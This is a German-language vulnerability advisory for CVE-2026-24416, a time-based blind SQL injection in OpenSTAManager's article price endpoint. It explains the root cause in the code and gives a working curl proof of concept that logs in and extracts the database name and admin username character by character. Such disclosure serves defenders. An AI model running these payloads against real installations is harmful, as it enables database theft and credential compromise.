
CVE-2026-24416 - OpenSTAManager hat eine zeitbasierte blinde SQL-Injection im Artikelpreismodul
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-24416 |
| Schweregrad | HOCH |
| Advisory | Advisory anzeigen |
| Entdeckt von | Lukasz Rybak |
Kritische zeitbasierte Blind-SQL-Injection-Schwachstelle im Artikelpreismodul von OpenSTAManager v2.9.8, die es authentifizierten Angreifern ermöglicht, vollständige Datenbankinhalte einschließlich Benutzeranmeldedaten, Kundendaten und Finanzunterlagen durch zeitbasierte Boolesche Inferenzangriffe zu extrahieren.
Status: ✅ Bestätigt und getestet auf einer Live-Instanz (v2.9.8) und demo.osmbusiness.it (v2.9.7)
Angreifbarer Parameter: idarticolo (GET)
Betroffener Endpunkt: /ajax_complete.php?op=getprezzi
Betroffenes Modul: Articoli (Artikel/Produkte)
OpenSTAManager v2.9.8 enthält eine kritische zeitbasierte Blind-SQL-Injection-Schwachstelle im Vervollständigungs-Handler für Artikelpreise. Die Anwendung versäumt es, den Parameter idarticolo vor der Verwendung in SQL-Abfragen ordnungsgemäß zu bereinigen, sodass Angreifer beliebige SQL-Befehle einschleusen und sensible Daten durch zeitbasierte Boolesche Inferenz extrahieren können.
Angriffskette:
Einstiegspunkt: /ajax_complete.php (Zeile 27)
$op = get('op');
$result = AJAX::complete($op);
Der Parameter op wird abgerufen, die Schwachstelle liegt jedoch in anderen Parametern.
Weiterleitung: /src/AJAX.php::complete() (Zeile 189)
$result = self::getCompleteResults($file, $resource);
Ausführung: /src/AJAX.php::getCompleteResults() (Zeile 402)
require $file;
Modulspezifische complete.php-Dateien werden eingebunden.
Angreifbarer Parameter: /modules/articoli/ajax/complete.php (Zeile 26)
$idarticolo = get('idarticolo');
Der Parameter idarticolo wird aus der GET-Anfrage abgerufen.
Angreifbare SQL-Abfrage: /modules/articoli/ajax/complete.php (Zeile 70) PRIMÄRE SCHWACHSTELLE
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
Auswirkung: Direkte Verkettung von $idarticolo ohne prepare(), während $idanagrafica ordnungsgemäß bereinigt wird.
Kontext - Vollständige Abfragestruktur (Zeilen 39-74):
Die angreifbare Abfrage ist Teil einer UNION-Abfrage, die Preishistorie aus Rechnungen und Lieferscheinen abruft:
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ ORDNUNGSGEMÄSS BEREINIGT (Zeile 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ ANGREIFBAR - KEIN prepare() (Zeile 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
Grundursache: Der Entwickler verwendete prepare() korrekt im ersten SELECT (Zeile 54), vergaß es jedoch im zweiten SELECT der UNION-Abfrage (Zeile 70), wodurch ein inkonsistentes Sicherheitsmuster entstand.
Schritt 1: Anmelden
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Schritt 2: Schwachstelle verifizieren (Zeitbasierter SLEEP)
# Test mit SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Ergebnis: real 0m10.32s (10,32 Sekunden)
# Test mit SLEEP(3) - sollte ~3 Sekunden dauern
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Ergebnis: real 0m3.36s (3,36 Sekunden)
# Test ohne SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Ergebnis: real 0m0.31s (0,31 Sekunden)
Schritt 3: Datenextraktion - Datenbankname
# Erstes Zeichen des Datenbanknamens extrahieren
# Testen, ob erstes Zeichen 'o' ist (erwartet: TRUE für 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Ergebnis: real 0m2.34s (SLEEP ausgeführt - Bedingung TRUE)
# Testen, ob erstes Zeichen 'x' ist (erwartet: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Ergebnis: real 0m0.31s (SLEEP nicht ausgeführt - Bedingung FALSE)
# Zweites Zeichen extrahieren (erwartet: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Ergebnis: real 0m2.34s (SLEEP ausgeführt - bestätigt zweites Zeichen ist 'p')
# Ersten 3 Zeichen extrahieren (erwartet: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Ergebnis: real 0m2.33s (SLEEP ausgeführt - bestätigt 'ope...')
Schritt 4: Sensible Daten extrahieren - Admin-Anmeldedaten
# Admin-Benutzernamen extrahieren (testen, ob erste 5 Zeichen 'admin' sind)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Ergebnis: real 0m2.33s (SLEEP ausgeführt - bestätigt Admin-Benutzernamen)